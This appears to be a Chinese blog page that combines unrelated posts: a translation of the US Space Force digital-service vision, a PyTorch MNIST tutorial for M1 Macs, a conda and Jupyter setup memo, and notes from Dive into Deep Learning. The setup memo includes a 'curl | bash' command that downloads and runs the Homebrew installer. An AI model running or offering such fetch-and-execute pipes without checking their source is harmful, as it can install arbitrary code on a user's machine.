美国太空军数字军种愿景 - nsfocus

原文:http://blog.nsfocus.net/ussf/

一、前言

作为信息时代建立起来的唯一美国军种,美国太空军(USSF)拥有“先天数字”的独特机遇。我们要抓住这个机遇。太空是一个作战领域,我们面临的威胁以极快的速度跨越了遥远的距离。我们必须接受我们所掌握的信息时代工具,确保该领域对我们这一代人和下一代人来说都是安全、稳定、可访问的。USSF将成为世界上第一个全数字化军种。我们将成为一支互联、创新、数字主导的部队。

成为数字军种不仅仅是一个代际机会,也是作战的必要条件。这一必要条件主要由两大因素驱动:(1)威胁的性质和(2)太空军的规模。我们知道,潜在对手正在以惊人的速度发展一系列威胁,直接挑战我们在太空中的稳定性以及我们作为一个航天国家所享受的诸多好处。为了对抗这些威胁,我们必须改变模式。我们必须在领导、采办、工程、情报和作战的各个方面采取更加迅速和果断的行动,从而在对手的观察、定位、决定、行动(OODA)循环中占据永久的位置。此外,鉴于USSF的规模相对较小,实现这一目标需要我们积聚一群技术娴熟、“数字流利”的太空军成员,这支队伍比历史上任何一支部队都要熟练、高效、灵活。

这份前瞻性的文件首先阐述了推动我们成为数字军种的必要条件。然后,它描述了理想愿景,即什么是数字军种,包括引入和定义形成我们的集体数字流利度的基础的关键概念。本文件还解释了四大数字重点领域及其范围、重要性和相互关系。这些重点领域为愿景实现提供了框架,形成了即将发布的数字转型路线图。

虽然我已经委托我们的技术和创新办公室来主导美国太空军的数字转型,但这并不仅仅是他们的责任。事实上,我们都是美国太空军的先驱;我们每个人都有责任将自己打造成一个接受协作、勇敢、持续学习、多样性和包容性以及适应性的数字军人。每一个守护者,无论职业领域或背景如何,都应该抓住机会,采用新技术,将日常活动迁移到“数据空间”,并在必要的时候鼓励队友。

这是我们对数字军种的愿景,也是我对每一个守护者的行动呼吁。通过共同努力,我们可以实现这一愿景。我渴望看到我们将创造的不可思议的未来。

二、为什么是数字的?为什么是现在?

我们的军种创建的根本原因决定了我们为什么必须成为数字军种:威胁真实存在,而且迫在眉睫。目前,潜在对手正在努力抵消美国在太空领域的优势,并迅速缩小差距。他们正以比我们更快的速度迫切地部署太空、反太空、网络空间和电磁频谱(EMS)能力,在某些情况下,他们甚至正在超越我们。鉴于太空能力作为现代联合作战环境的一部分所发挥的重要作用,这对美国国家安全和经济繁荣来说是不可接受的风险。为应对威胁,我们必须立即采取行动。我们需要以极快的速度和极高的熟练度利用信息和数据,加速开发、部署、运营联合太空能力。我们必须利用数字解决方案,适应充满敌意的复杂动态环境,实现蓬勃发展。与任何其他国防领域或任务相比,这个环境在本质上更受技术的约束和驱动。事实上,太空是唯一一个没有人类进行军事行动的物理领域。我们的作战人员关于该领域的所有体验,都来自于从太空接收到的数据以及我们快速分析对我们有利的数据的能力。鉴于这一作战现实,再加上我们必须更广泛地利用数据和信息、争取在竞争激烈和拥挤的作战环境中占上风,USSF将采用现代技术和方法开展大规模的文化和技术转型,成为真正的数字军种。这一数字转型旨在使我们能够在美国率先开创的领域重新获得主动权、保持优势。太空军的规模为数字转型提供了另一个令人信服的理由:要凭借小型的专业化军种来完成庞大使命,我们必须非常熟练、高效。虽然有些人可能认为我们相对精简的军种有碍成功,但事实上,这可能是我们最大的优势之一。尽管国防部的太空任务通常涉及多领域,但是由极其专业化的团队中相对不重要的基干官兵来完成的,推动着前沿技术领域。换句话说,USSF的使命和人员与信息时代完美匹配,这就是我们摆出独特的“先天数字”姿态的原因。此外,我们有机会在招募、留任和培训时进行精挑细选,从而确保塑造一支技术娴熟、“数字流利”的精英队伍。归根结底,一支精简、专注的部队天生就具有更强的适应能力,使我们能够快速转移和进化,以应对高度动态的环境。

成为数字军种,我们能变得更加熟练、更加高效、更加敏捷。通过这一数字转型,我们将创造环境,在能力开发的各个方面培育快速转变、创新的解决方案。结合正确的政策和流程,我们将摧毁官僚主义,使各级能够以数据为驱动,作出快速的决策。通过先进的培训和适当的职业激励,我们将在协同事业中释放精英队伍的力量。一支数字太空军不仅会产生大规模的竞争优势、决定未来太空冲突的条件,还会使我们在探索作战领域的可能性方面成为姐妹军种的典范。这种需求再清楚不过了——USSF必须迅速而主动地行动起来,成为数字军种,为国防航天事业各个方面的改革创造历史性机遇。这将是什么样子,以及它将如何从根本上改变我们的行事方式,将在本文件的其余部分进行描述。在采取行动时,我们必须确保数字军种在网络空间和整个电磁频谱中的安全性。我们认识到这一转型需要时间,我们需要应对一系列挑战,从而实现目标。虽然我们正在努力改善与美国空军(USAF)共享的数字基础设施,但仍有许多工作要做。我们必须利用我们的行业和政府伙伴关系,确保我们所依赖的数字基础设施能够满足现代需求。此外,我们必须结合数字转型进行文化转型,培育鼓励勇敢、透明、持续创新以及与潜在机会相平衡的有计划的风险承担的环境。我们还需要重新考量过时的政策和流程,这些政策和流程使我们无法比对手更快地进行适应和创新。克服这些挑战需要综合计划,将多个正在进行和计划进行的活动联系起来。这一计划的制定对我们的长期成功至关重要,将在即将发布的路线图中加以阐述。

三、数字太空军愿景

威胁日益增长,而专门的守护者人数较少,这一严峻的现实清楚地表明了数字转型的紧迫性。我们必须回答的下一个问题是,“数字军种意味着什么?”为了使利益相关者对我们期望方向的理解没有偏差,必须对数字军种是什么样子及其提供的好处提出一个统一的概念。因此,本节的目的是确立并解释数字太空军愿景的全部范围。数字太空军愿景被定义为:一支互联创新数字主导的部队。下面将讨论这三大原则,包括它们之间的相互关系,以及它们如何相继建立一支熟练直观地利用数字技术保持太空优势的世界级战斗部队。

  • 原则一:互联性

一支互联的部队有效且高效地与各种利益相关方分享有关信息,支持任务。这必然包括所需的人员和基础设施,实现并促进不受限制的信息和思想交流。

数字基础设施是互联部队的基础,要真正做到“以数据为中心”,必须将其视为关键战略资产。数据网络必须有足够的带宽,同时在对抗频谱环境中保持可靠性,并在多个安全级别上保证安全性。共享数据存储库也必须对相关人员开放访问权。以这种健全的数字基础设施为基础,我们将建立一个可信的、可理解的协作环境,囊括用户工具和应用程序,实现与受保护的数据的安全交互。此外,USSF必须支持不再局限于单一物理位置的世界。这可以使USSF让守护者作为“数字游牧民”灵活地进行虚拟运营,作为一支内在移动部队,无缝支持来自不同位置的各种任务。我们必须寻求与站点无关的解决方案,实现基于服务的分布式功能,而不考虑所支持的任务或所涉及的数据保护要求。所有这些元素也必须完全关联、能够互操作。

实现普遍的互联不仅需要一个强有力的数字环境,还必须解决人文方面的问题。在所有利益相关者之间建立、鼓励公开、透明的沟通机制,在部队内部开展协作展望未来,所有守护者默认必须倾向于通过集成解决方案开展协作;每个人都应该努力维护全局,并帮助他人实现同样的目标。这要求我们在太空军内部培育一种坦率互信的文化,这既包括横向,也包括纵向。在这个快节奏、高威胁的环境中,我们必须时刻牢记:我们都是一个团队的。互联部队的另一个重要方面是构成联系的广度。与工业界建立有针对性的伙伴关系,获得快速发展的技术。通过吸引新的有远见的公司与USSF合作,巧妙地增加我们在任务活动中对商业数据的使用,我们可以共同实现远远超过我们单独所具有的能力。此外,与学术机构合作将为我们提供获取学位和证书的机会,助力我们培养和发展训练有素的专业队伍以及研发协作机制。寻求和加强与姐妹军种、美国机构和国际盟国的合作,可以扩大我们的影响力,同时抵消过渡成本的负担。在建立这些伙伴关系时,确保我们拥有提升灵活性和控制力的适当的数据权利至关重要。归根结底,我们知道,在可互操作的数字协作环境中,有着内在的力量、效率和集体的创造力,这个环境扩展到更广泛的利益相关者群体,我们将积极参与,为了所有人的利益建立和加强这些伙伴关系。

  • 原则二:创新性

一支创新的部队经常采用新方法,乐于挑战现状,慎重承诺实现持续发展、改进、进步。在数字军种的背景下,这种创新必然涉及到新技术的开发和采用,以便更有效地应对动荡、竞争环境中的不确定性。向队伍授权,对愿景的这一方面至关重要,因为守护者不仅需要具备有效创新的适当技能,还需要适当的支持和鼓励。作为小型精简军种的一部分,太空军每名成员都必须是变革的推动者,能为棘手的问题提供大胆而创新的解决方案。为了支持这种精神,持续学习和个人成长将是我们的口头禅。所有人员都有责任不断提高自身的数字流利度,磨练自身技能,从而在这个高度动态的数字环境中不落伍。此外,USSF将通过及时、相关的学习活动来支持这些价值观,这些活动可以通过最先进的形式进行。结合上文讨论的协作互联的力量,太空军专业人员将获得与当前和新兴技术相关的培训、教育和行业深造机会,实现并保持集体的“数字优先”思维。我们还需要从各种渠道吸引和留住具有适当技术能力和态度的人,确保我们拥有顶尖的数字人才和必要的视角。我们将利用为实现互联而建立的伙伴关系,接触和争取非传统渠道,实现我们的招募目标。近期,我们将在全社会聘请技艺精湛、积极性高的技术专家,同时为培养未来的年轻领导者和创新者打下基础。此外,使我们成为数字游牧民的相同技术也将激励更广泛的用户群体。这将有助于我们实现思想和专业知识的多样性以及背景和经历的包容性,从而实施最佳想法,避免趋同思维,推动创新。再加上我们为造就一支数字流利的队伍而进行的投资,我们还必须培育环境,释放投资潜力。这包括为守护者配备适当的技能利用工具。先进的、由用户驱动的技术代表了行业必须提供的最佳能力。为了适应性地应对对手威胁,USSF将把自己定位为这些技术的积极的早期采用者。这种环境的另一个重要方面是获得适当的数据权利,确保USSF对其能力具有必要的影响力。最重要的是,进行真正改变游戏规则的创新需要守护者能够按照他们的想法采取行动。必须给予USSF成员心理上的安全感和专业上的激励,使其在适当的时候能坚决果断地冒险。为了支持这种模式转变,我们将修改我们的绩效评估框架,识别并重视这些特征。此外,我们还将激励每个人成为数字转型的导师和领导者、坚持不懈地最大限度地推动决策的可行性。通过培育创新文化,我们将摆脱传统消极思想,建立自下而上的有机创新环境,促进数字转型。

  • 原则三:数字主导

一支数字主导的部队将其累积的技术实力转化为强大的力量倍增效应,比任何潜在对手更快、更有效地开发、部署和运营能力。要获得持久的数字主导地位,需要我们将互联和创新要素集成至联合作战任务的各个方面。

数字主导的关键是人才。我们必须建立一支资源充足、权力充分、数字流利的队伍,能够并有动力时刻支持创新。基于肯定的文化、精简的业务流程和强大的数字工程生态系统(DEE),守护者将在“数据空间”中直观地思考和行动,充分准备应对我们面临的动态挑战。最终,我们必须设法使所有人员都能充当“内部企业家”,接受数字技术,推动创新,在整个组织内推动流程和操作的执行范围。

拥有数字优先的思维方式和成为数字主导需要具有创新精神且精通数字技术的太空军专业人员组建一个广泛的网络,这些专业人员本能地将可用知识排在静态产品(如报告、评估、图表、简报图表等)前面。传统的以产品为中心的模式主要关注创造孤立的静态产品,这些产品必然是不完善的工业时代的信息转换。更糟糕的是,在不为任务或决策流程提供相应的价值的前提下,这些过时、孤立的产品往往难以创造和管理。优秀的模式是以数据为中心。这一办法将使我们能够在数据空间内迅速获取和交换所需的信息和知识,包括产生与任务有关的行动和成果相关的精简、动态、同步的输出。最终,我们的数字太空军将作出数据驱动的决策,以今天看来难以想象的速度部署和运营突破性的太空能力。通过上述互联创新渠道,我们的数字军种能够快速获取、开发和部署改变游戏规则的能力,使我们能够利用精简的部队来超越威胁。我们将建立和培养与其他军种、美国机构、国际合作伙伴、学术和研究机构以及商业部门的关系,使我们能够成为颠覆性技术机会的驱动者和采纳者。将这一广泛的数字协作与我们组织严密、技术熟练的部队的有机能力结合起来,我们将成为数字主导力量。通过数字主导,我们将快速敏捷地推动较于竞争对手和敌手的优势,保持太空优势。

四、数字化重点领域

太空军《太空作战规划指南》(CPG)强调了“创建数字军种来加速创新”的迫切需要。为了更好地了解所需变革的范围,并建立实施这些变革的框架,CPG还确定了四大重点领域:数字工程、数字人才、数字总部及数字作战。要落实数字军种愿景的原则——互联、创新和数字主导,我们需要在每个重点领域进行重大的配套投资。这些投资的长期优势几乎是无限的,使我们能够用一支小而强的部队对抗并战胜威胁。然而,我们也将获得一系列短期利益,包括支持新军种的智能路径和实现CPG中要求的效率的方法,例如将人才培训的驻留时间缩短15%。

这些重点领域无法通过孤立的办法达到完美。USSF需要与更多的空军部官员和美国空军伙伴合作,促进重点投资,振兴共享的数字基础设施,确保其满足所有任务的需要。根据2020年“国防部数据战略”,我们将开展更广泛的合作,确保整个“技术栈”的设计、采购和实施从一开始就以数据和流程互操作性为核心需求。我们还将联合国防部、学术界、工业界和国际合作伙伴的创新思想领袖,他们正在着手进行自己的数字转型。我们即将发布的路线图包含详细的实施指南以及有形的投资和相关的指标。这些投资和指标将抓住合作机会,并根据这四个重点领域进行安排。

重要的是,要在一开始就明确每个重点领域的范围,明确我们期望他们如何为数字太空军愿景作出贡献。重点领域有着千丝万缕的联系;如果我们不能发挥任何一个重点领域的潜力,我们将无法成为真正的数字军种。重点领域有所重叠,相互依存而又协同地促进成为数字军种。通过推动所有四大重点领域的数字主导地位,我们将实现数字太空军愿景,巩固我们在数字化领域的优势,为实现更大的太空优势目标做准备。

企业微信截图_c1dcfe5c-2c1b-4cc7-b475-1d23ec56e708

  • 数字工程

与2018年“国防部数字工程(DE)战略”一致,DE的一个关键目标是管理当代武器系统采办的复杂性,加速从概念到部署、再到作战和后勤保障的整个能力开发生命周期,实现该生命周期的现代化。我们将以权威的数据源为动力,结合大数据方法,利用基于模型的系统工程等技术,并以共享建模与仿真(M&S)框架为基础,管理从作战人员到开发人员的需求和测试,并在整个技术栈中作为一个连续的虚拟数字线程再次进行。我们将开发企业级架构,捕获与威胁模型和预期作战效果相关的优化部队设计,同时支持更广泛的国防部企业战略意图、合作与合伙努力。我们将采用敏捷实践,快速创建和部署增量解决方案,建立开发安全运营工厂,促进软件开发,从一开始就考虑安全问题。我们将逐步、持续地使所有利益相关者能够有针对性地参与,同时确保USSF遵守与关键采办决策点相关的适用法律和政策,而不是在为数不多的参与者中进行里程碑式、基于工件的技术评审。我们还将建立“数字孪生”,将所有这些要素联系在一起,实现与任务合作伙伴的协作,最终实现能力敏捷开发和测试以及向作战和持续性后勤保障的无缝过渡。

改进和加速能力生命周期在很大程度上依赖于拥有由最先进的、可互操作的、低延迟的网络驱动的安全、有活力、有弹性的数字基础设施。除了这个基础设施,USSF将建立必要的工具、应用程序和接口,允许用户生成并操纵数据、模型和分析,所有这些都构成了一个完全联合的数字工程生态系统(DEE)。该DEE可实现从几乎任何地方都能进行及时、可靠和多层次的安全访问,同时促进各个重点领域的所有任务相关活动的守护者之间的敏捷协作。此外,持续的投资将通过与不断发展的能力和威胁同步的定期技术更新保持DEE性能的相关性和安全性,确保守护者随时掌握现代可靠的技术。有了这个DEE,再加上正在进行的采办简化,USSF可以以与作战相关的速度引领能力开发和交付的革命,从而免受威胁。

  • 数字人才

“数字人才”这一关键领域由互补的两方面组成:能力与态度。在能力方面,我们将实施一项大胆的新守护者战略,利用每个人的独特优势,为互联的高绩效团队提供动力。我们将利用我们小型军种固有的选择性,从全国各地吸引和招募技术熟练人才,并在一体化的数字人才队伍中管理。为了实现和维持数字流利度战略,我们将确保守护者能够及时获得合适的学习机会,提高和更新技术相关技能,以便他们能够凭直觉优先考虑以数据为中心的解决方案,而不是以产品为中心的流程。此外,还要向主管提供必要的工具和见解,使其在人事招募决策、发展机会和职业发展作出明智而有效的决策。最后,还将建立新职业体系、晋升框架和替代评估方案,以创建与有机建模、数据科学和软件开发(如“太空军程序员”)相关的专业知识,培育数字优先思维的支配性创新文化。

在态度方面,USSF数字人才既受到激励进行协作,又有权采取行动。每一名太空军成员在各个层面上的军种能够“发挥其应有的作用”。例如,鼓励守护者倾向于与他人分享知识和专长,这样,我们的军种就能够“发挥其应有的作用”。例如,鼓励守护者在了解安全需求的同时分享信息。信息分享不仅是在其各自的任务范围内,而且涉及更广泛的利益相关者群体,目的是获得不同的观点并宣传企业观点。最重要的是,要授权太空军的每名成员采取与其责任水平相称的快速行动。“否定指挥”将是默认的立场。在这种立场下,守护者将被授权和鼓励采取行动,除非上级指挥梯队明确保留权限。我们希望确保数字人才不会受到官僚程序的过度阻碍,这些官僚程序只会阻碍其行动的响应性和大胆性。归根结底,我们必须用适当的技能武装人才,让他们获得成功,同时为他们的发展创造正确的环境,然后让路。

  • 数字总部

数字总部的概念并不是指一个地点,而是一种功能,它是指在USSF的每一个梯队都能有效和高效地作出决策的能力。为作出有效决策,需把数据视为一种战略资产,利用数据对不确定性进行数字管理,并推动作出灵活的、数据驱动的决策。传统的文档通信是不完善的中间通信形式。认识到这种烦琐性,我们将转而促进直接在数据空间中与决策者以及决策者之间的不加修饰的协作。同时,通过沉浸式可视化和可定制的仪表板从大量数据中辨别相关信息。这些仪表板是最新的,可以随时随地访问。最后,由于真正的决策都涉及风险管理、优先级划分和资源分配,我们将实施数字准备、数字能力组合管理和数字项目目标备忘录(POM)规划等概念。这些概念将提供分析基础,支持敏捷和知情的运营风险管理、运营准备、投资规划和成本能力交易,确保稀缺的资源和能源得到应用,为USSF事业获得最大的任务价值和优势。为了提高效率,我们将建立数字基础,支持快速、数据驱动的决策,并且从不增加价值或通过自动化更好地实现的遗留人员配置和协调活动中解放人才。首先,我们将废除或改造业务流程和政策,去除各级官僚作风,以便我们能够在适当的时间将决策和支持信息传达给适当的人。对于剩余的增值流程,我们将在适当的情况下利用机器学习和扩充,将单调的人员配置活动分配给人工智能(AI)程序或机器人过程自动化,从而使守护者有更多的时间和精力参与训练、教育和作战模拟,向成为世界级作战部队的目标迈进。进一步加快决策制定,根据数字人才的授权原则,确保决策权力下放给最低级别的领导人,消除微观管理的倾向。最终,有效和高效的数字总部将使我们能够以前所未有的敏捷性和效率组织和输送强大的数字能力。

  • 数字作战

数字作战代表其他三大重点领域的顶峰。它通过强大的DEE和普及的数字线程嵌入了采办工作,受到了正确的专业激励和创新授权的鼓舞,受到了深思熟虑的授权和独特的发展机会的推动。我们将利用自身先进的DEE和数字游牧民的倾向,对来自不同地点的大多数任务进行分散、优化的卫星作战。我们将通过在我们的野战司令部、三角洲和驻军设施中建立作战发展团队(CDT)来推进数字作战,为这些团队配备所需的数字技能、工具和资源,以设计快速、创新、集成的解决方案,解决当前和不断发展的一系列能力中最紧迫的痛点。例如,与启动后几个月的检测和学习相比,使用共享的数字孪生和持续的利益相关者交流,能更快地起到激励作用。这是因为系统开发人员了解当前的威胁和潜在的战术、技术和程序(TTP),而作战人员甚至可以在系统部署之前获得“实践”经验。在部署后,数字孪生作为强大的异常解析工具将继续发挥其价值,实现全面的故障排除,同时最大限度地降低作战风险。最后,共享建模与仿真基础设施的使用将使作战人员能够在实战虚拟训练场景中磨练作战技能,以应对可预见的遭遇,而我们对适应性和批判性思维的根深蒂固的强调将使守护者能够在突发事件中作出明智反应。

显然,作出明智、快速、数据驱动的决策对我们的愿景至关重要,但在作战领域却显得尤为紧迫,因为在作战领域,时间被压缩,我们的行动会被放大为对生死攸关的结果产生影响。从根本上说,不管任务属于冲突的哪一范围,每一级战争的守护者都必须在组织上得到授权,并配备数字化武器,完全专注于任务。自动化和机器学习对这一目标尤为重要,帮助作战人员以对手无法比拟的迅捷和杀伤力实现联合“杀伤网”。复杂的、数据注入的用户定义的作战画面能以前所未有的精确度和速度实现这一目标。该画面能够融合并呈现多源情报,并与多域指挥与控制能力同步,实现联合作战效果。总之,数字作战综合利用其他重点领域来创建一支致命的太空作战部队,确保将数字主导地位转化为保持太空优势的能力。

企业微信截图_aa7f7f54-418b-41d4-83a1-93245ff69d09

企业微信截图_22db8753-9e68-4424-892e-96e41722bb02

五、行动呼吁

鉴于我们的军种规模,数字太空军对于有效应对威胁、支持美国国家安全目标至关重要。我们将为数字军种的运作方法制定标准,通过向人才授权和利用改变游戏规则的技术的力量,打造数字文化。对数字军种的含义达成共识,将为持久和可实施的数字转型创造必要的环境。关键是,每一个守护者都必须大胆地发现朝着数字军种愿景创新和演变的机会。我们必须勤勉地不断寻找改进太空军工作的各个方面的方法;创新必须在整个军种中持续和普及。本着协作和赋权的精神,我们将继续为本次对话以及当前和计划中的数字转型举措的信息共享提供场所。这将有助于为我们即将发布的路线图提供信息并使其成熟,为实现我们的愿景奠定基础。根据这一愿景的前提,我们将迅速制定这一路线图的初始版本,该版本大胆而创新,它将是战略之一,会不断更新,随时适应不断变化的环境。最后,数字太空军愿景以及实现这一愿景的数字转型,仅靠高层领导是无法实现的。从入门级到最高领导层的每一个守护者都可以在实现这一愿景中发挥作用;我们的成功取决于为整个部队努力建立一个统一的支持基础。今年晚些时候,技术和创新办公室将牵头制定实施数字太空军愿景的路线图,将四大数字重点领域提炼为具体目标和举措,持续努力实现互联、创新、数字主导的部队的愿景。永远向上!

企业微信截图_4c0dca3a-bb7f-414b-adad-6ad3069344c4

术语表

企业微信截图_a365fe16-08e1-4ade-8ba5-be5000d1795b


在 Mac M1 上运行 pytorch MNIST 模型

http://yann.lecun.com/exdb/mnist/

image-20230213下午31127669

说明

MNIST 包括6万张28x28的训练样本,1万张测试样本,很多教程都会对它”下手”几乎成为一个 “典范”,可以说它就是计算机视觉里面的Hello World。所以我们这里也会使用MNIST来进行实战。

前面在介绍卷积神经网络的时候说到过LeNet-5,LeNet-5之所以强大就是因为在当时的环境下将MNIST数据的识别率提高到了99%,这里我们也自己从头搭建一个卷积神经网络,也达到99%的准确率。

下载这个文件 pytorch-m1-gpu-mnist.py,源码我贴到文末。

上传到jupyer:

image-20230217午後52327627

新建一个运行文件

image-20230217午後52409690

在jupter种运行文件:

%load pytorch-m1-gpu-mnist.py
%run pytorch-m1-gpu-mnist.py

image-20230217午後52620661

点击Run:

image-20230217午後52718995

最后输出大致是这样:

Train Epoch: 5 [0/60000 (0%)]	Loss: 0.046214
Train Epoch: 5 [1280/60000 (2%)]	Loss: 0.054890
Train Epoch: 5 [2560/60000 (4%)]	Loss: 0.126030
Train Epoch: 5 [3840/60000 (6%)]	Loss: 0.037496
Train Epoch: 5 [5120/60000 (9%)]	Loss: 0.082181
Train Epoch: 5 [6400/60000 (11%)]	Loss: 0.037875
Train Epoch: 5 [7680/60000 (13%)]	Loss: 0.085949
Train Epoch: 5 [8960/60000 (15%)]	Loss: 0.060418
Train Epoch: 5 [10240/60000 (17%)]	Loss: 0.118635
Train Epoch: 5 [11520/60000 (19%)]	Loss: 0.023937
Train Epoch: 5 [12800/60000 (21%)]	Loss: 0.182207
Train Epoch: 5 [14080/60000 (23%)]	Loss: 0.076019
Train Epoch: 5 [15360/60000 (26%)]	Loss: 0.033017
Train Epoch: 5 [16640/60000 (28%)]	Loss: 0.055296
Train Epoch: 5 [17920/60000 (30%)]	Loss: 0.028324
Train Epoch: 5 [19200/60000 (32%)]	Loss: 0.049647
Train Epoch: 5 [20480/60000 (34%)]	Loss: 0.056441
Train Epoch: 5 [21760/60000 (36%)]	Loss: 0.079691
Train Epoch: 5 [23040/60000 (38%)]	Loss: 0.065786
Train Epoch: 5 [24320/60000 (41%)]	Loss: 0.064102
Train Epoch: 5 [25600/60000 (43%)]	Loss: 0.165235
Train Epoch: 5 [26880/60000 (45%)]	Loss: 0.047473
Train Epoch: 5 [28160/60000 (47%)]	Loss: 0.123398
Train Epoch: 5 [29440/60000 (49%)]	Loss: 0.044776
Train Epoch: 5 [30720/60000 (51%)]	Loss: 0.070954
Train Epoch: 5 [32000/60000 (53%)]	Loss: 0.048687
Train Epoch: 5 [33280/60000 (55%)]	Loss: 0.129717
Train Epoch: 5 [34560/60000 (58%)]	Loss: 0.075629
Train Epoch: 5 [35840/60000 (60%)]	Loss: 0.026882
Train Epoch: 5 [37120/60000 (62%)]	Loss: 0.035822
Train Epoch: 5 [38400/60000 (64%)]	Loss: 0.020158
Train Epoch: 5 [39680/60000 (66%)]	Loss: 0.037771
Train Epoch: 5 [40960/60000 (68%)]	Loss: 0.024614
Train Epoch: 5 [42240/60000 (70%)]	Loss: 0.070286
Train Epoch: 5 [43520/60000 (72%)]	Loss: 0.104104
Train Epoch: 5 [44800/60000 (75%)]	Loss: 0.021874
Train Epoch: 5 [46080/60000 (77%)]	Loss: 0.027039
Train Epoch: 5 [47360/60000 (79%)]	Loss: 0.029215
Train Epoch: 5 [48640/60000 (81%)]	Loss: 0.033327
Train Epoch: 5 [49920/60000 (83%)]	Loss: 0.008433
Train Epoch: 5 [51200/60000 (85%)]	Loss: 0.058720
Train Epoch: 5 [52480/60000 (87%)]	Loss: 0.039366
Train Epoch: 5 [53760/60000 (90%)]	Loss: 0.109450
Train Epoch: 5 [55040/60000 (92%)]	Loss: 0.042343
Train Epoch: 5 [56320/60000 (94%)]	Loss: 0.077304
Train Epoch: 5 [57600/60000 (96%)]	Loss: 0.021365
Train Epoch: 5 [58880/60000 (98%)]	Loss: 0.090809

Test set: Average loss: 0.0475, Accuracy: 9853/10000 (99%)

Mac M1 运行 conda 和 jupyter notebook 备忘

安装 homebrew

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

下载 Miniforge3 (Conda 安装工具)

for macOS arm64 chips (M1, M1 Pro, M1 Max, M1 Ultra, M2).

chmod +x ~/Downloads/Miniforge3-MacOSX-arm64.sh
sh ~/Downloads/Miniforge3-MacOSX-arm64.sh
source ~/miniforge3/bin/activate

image-20230213上午100817720

image-20230213上午100842133

image-20230213上午100755897

我发现他会给 .zshrc 自动加上 source 信息

image-20230213上午101018563

# >>> conda initialize >>>
# !! Contents within this block are managed by 'conda init' !!
__conda_setup="$('/Users/kelu/miniforge3/bin/conda' 'shell.zsh' 'hook' 2> /dev/null)"
if [ $? -eq 0 ]; then
    eval "$__conda_setup"
else
    if [ -f "/Users/kelu/miniforge3/etc/profile.d/conda.sh" ]; then
        . "/Users/kelu/miniforge3/etc/profile.d/conda.sh"
    else
        export PATH="/Users/kelu/miniforge3/bin:$PATH"
    fi
fi
unset __conda_setup
# <<< conda initialize <<<

创建 pytorch 环境的文件夹

mkdir pytorch-test
cd pytorch-test

初始化:conda环境

conda create --prefix ./env python=3.8
conda activate ./env

image-20230213上午101628424

安装pytorch

pip3 install torch torchvision torchaudio

image-20230213上午103035215

image-20230213上午105402439

安装jupyter

conda install jupyter pandas numpy matplotlib scikit-learn tqdm 

image-20230213上午105451310

jupyter notebook

image-20230213上午110153434

验证:

image-20230213上午110655986


《动手学深度学习》第二版 摘录

img

原书地址: https://zh.d2l.ai/index.html 可以在线也可以直接下载电子书看。作者里有大家熟知的大牛李沐

课件、作业、教学视频等资源可参考伯克利“深度学习导论” 课程大纲 中的链接(中文版课件)。

基于本书PyTorch版的教学视频在: B站

还有另一个项目是它的笔记,star是也上2k了,也可以看看:DeepLearning-MuLi-Notes

《动手学习深度学习》是李沐老师(AWS 资深首席科学家,美国卡内基梅隆大学计算机系博士)主讲的一系列深度学习视频。本项目收集了我们在寒假期间学习《动手学习深度学习》过程中详细的markdown笔记和相关的jupyter代码。赠人玫瑰,手留余香,我们将所有的markdown笔记开源,希望在自己学习的同时,也对大家学习掌握李沐老师的《动手学习深度学习》有所帮助。

另外还有一些其他资料也可以看看:

这篇文章仅做摘录和个人整理。建议直接看上边的电子书。排版上我更推荐看 pdf 版本。

全书结构

book-org

  • 第一部分包括基础知识和预备知识。 1节 提供深度学习的入门课程。然后在 2节 中,我们将快速介绍实践深度学习所需的前提条件,例如如何存储和处理数据,以及如何应用基于线性代数、微积分和概率基本概念的各种数值运算。 3节4节 涵盖了深度学习的最基本概念和技术,例如线性回归、多层感知机和正则化。
  • 接下来的五章集中讨论现代深度学习技术。 5节 描述了深度学习计算的各种关键组件,并为我们随后实现更复杂的模型奠定了基础。接下来,在 6节7节 中,我们介绍了卷积神经网络(convolutional neural network,CNN),这是构成大多数现代计算机视觉系统骨干的强大工具。随后,在 8节9节 中,我们引入了循环神经网络(recurrent neural network,RNN),这是一种利用数据中的时间或序列结构的模型,通常用于自然语言处理和时间序列预测。在 10节 中,我们介绍了一类新的模型,它采用了一种称为注意力机制的技术,最近它们已经开始在自然语言处理中取代循环神经网络。这一部分将帮助读者快速了解大多数现代深度学习应用背后的基本工具。
  • 第三部分讨论可伸缩性、效率和应用程序。 首先,在 11节 中,我们讨论了用于训练深度学习模型的几种常用优化算法。下一章 12节 将探讨影响深度学习代码计算性能的几个关键因素。在 13节 中,我们展示了深度学习在计算机视觉中的主要应用。在 14节15节 中,我们展示了如何预训练语言表示模型并将其应用于自然语言处理任务。

一、引言

机器学习分为3类

  • 监督学习(supervised learning)擅长在“给定输入特征”的情况下预测标签。
  • 数据中不含有“目标”的机器学习问题通常被为无监督学习(unsupervised learning)
  • 与预测不同,“与真实环境互动”的人工智能是“智能代理”,而不仅是“预测模型”。与环境交互并采取行动的最终可能会专注于强化学习(reinforcement learning)。在每个特定时间点,智能体从环境接收一些观察(observation),并且必须选择一个动作(action),然后通过某种机制(有时称为执行器)将其传输回环境,最后智能体从环境中获得奖励(reward)。 此后新一轮循环开始。

1.1 监督学习

需要向模型提供巨大数据集:每个样本包含特征和相应标签值:

  • 回归(regression)是最简单的监督学习任务之一。 假设有一组房屋销售数据表格,其中每行对应一个房子,每列对应一个相关的属性,例如房屋的面积、卧室的数量、浴室的数量以及到镇中心的步行距离,等等。 每一行的属性构成了一个房子样本的特征向量。 当人们在市场上寻找新房子时,可能需要估计一栋房子的公平市场价值。

    判断回归问题的一个很好的经验法则是,任何有关“有多少”的问题很可能就是回归问题。比如:

    • 这个手术需要多少小时;
    • 在未来6小时,这个镇会有多少降雨量。
    • 预测用户对一部电影的评分
  • 分类(classification)问题。 分类问题希望模型能够预测样本属于哪个类别(category,正式称为(class))。

    回归是训练一个回归函数来输出一个数值; 分类是训练一个分类器来输出预测的类别。

    • 手写数字可能有10类,标签被设置为数字0~9。
    • 最简单的分类问题是只有两类,这被称之为二项分类(binomial classification)。 例如,数据集可能由动物图像组成,标签可能是猫狗{猫,狗}两类。
  • 标记问题。学习预测不相互排斥的类别的问题称为多标签分类(multi-label classification)。

    • 人们在技术博客上贴的标签,比如“机器学习”“技术”“小工具”“编程语言”“Linux”“云计算”“AWS”。
    • 一篇典型的文章可能会用5~10个标签,因为这些概念是相互关联的。
    • 关于“云计算”的帖子可能会提到“AWS”,而关于“机器学习”的帖子也可能涉及“编程语言”。
